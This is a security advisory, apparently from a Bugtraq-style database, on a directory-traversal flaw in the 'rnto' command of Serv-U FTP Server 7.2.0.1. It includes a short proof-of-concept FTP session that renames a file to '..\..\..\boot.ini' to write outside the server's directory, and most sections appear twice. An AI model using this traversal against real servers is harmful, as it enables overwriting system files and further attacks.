RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
BID:31563
Info
RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
| Bugtraq ID: | 31563 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 03 2008 12:00AM |
| Updated: | Nov 20 2009 05:05PM |
| Credit: | dmnt |
| Vulnerable: |
Rhino Software Serv-U 7.2.0.1 |
| Not Vulnerable: | |
Discussion
RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
RhinoSoft Serv-U FTP server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.
Serv-U FTP server 7.2.0.1 is vulnerable; other versions may also be affected.
RhinoSoft Serv-U FTP server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.
Serv-U FTP server 7.2.0.1 is vulnerable; other versions may also be affected.
Exploit / POC
RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
An attacker can exploit this issue by enticing an unsuspecting victim to connect to a malicious server.
The following proof of concept is available:
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
An attacker can exploit this issue by enticing an unsuspecting victim to connect to a malicious server.
The following proof of concept is available:
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
Solution / Fix
RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability
References:
References:
- Serv-U Homepage (RhinoSoft)